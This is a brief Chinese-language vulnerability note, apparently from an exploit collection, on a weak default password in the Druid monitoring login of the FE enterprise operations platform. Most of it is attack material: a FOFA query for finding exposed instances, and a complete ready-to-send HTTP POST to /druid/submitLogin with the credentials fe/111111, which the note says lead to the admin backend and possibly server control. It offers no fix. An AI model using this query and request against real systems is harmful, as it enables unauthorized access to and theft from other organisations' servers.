F1-11飞企互联-FE企业运营管理平台-弱口令

漏洞描述：

飞企互联-FE企业运营管理平台 /druid/login.html 路径处的登录接口存在弱口令漏洞，未授权的攻击者可通过该漏洞直接进入后台管理页面，获取敏感信息，进一步利用可控制整个服务器。

网站图片:

网络测绘:

fofa语法：

FOFA：app=“飞企互联-FE企业运营管理平台”

漏洞复现:

payload：

POST /druid/submitLogin HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0

loginUsername=fe&loginPassword=111111

效果图:

弱口令：fe/111111